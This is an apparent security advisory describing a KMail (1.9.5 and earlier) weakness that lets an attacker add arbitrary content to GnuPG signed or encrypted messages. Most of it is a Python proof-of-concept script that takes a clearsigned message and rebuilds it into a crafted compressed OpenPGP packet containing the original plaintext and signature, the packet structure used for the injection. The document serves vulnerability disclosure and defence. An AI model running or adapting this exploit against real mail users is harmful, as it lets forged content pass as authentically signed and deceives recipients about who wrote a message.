source: https://www.securityfocus.com/bid/22759/info

KMail is prone to a vulnerability that may allow an attacker to add arbitrary content into a message without the end user knowing.

An attacker may be able to exploit this issue to add arbitrary content into a GnuPG signed and/or encrypted message.

This vulnerability is due to the weakness discussed in BID 22757 (GnuPG Signed Message Arbitrary Content Injection Weakness) and has been assigned its own BID because of the specific way that KMail uses GnuPG.

This issue affects KMail versions prior to and including 1.9.5. 

#!/usr/bin/python
import os, gpg, sys, base64

clear_sign = open(sys.argv[1], "rb").read().splitlines()

start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")

text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])

onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1

plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62

signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)

compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]

pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed

os.write(1,str(pkt))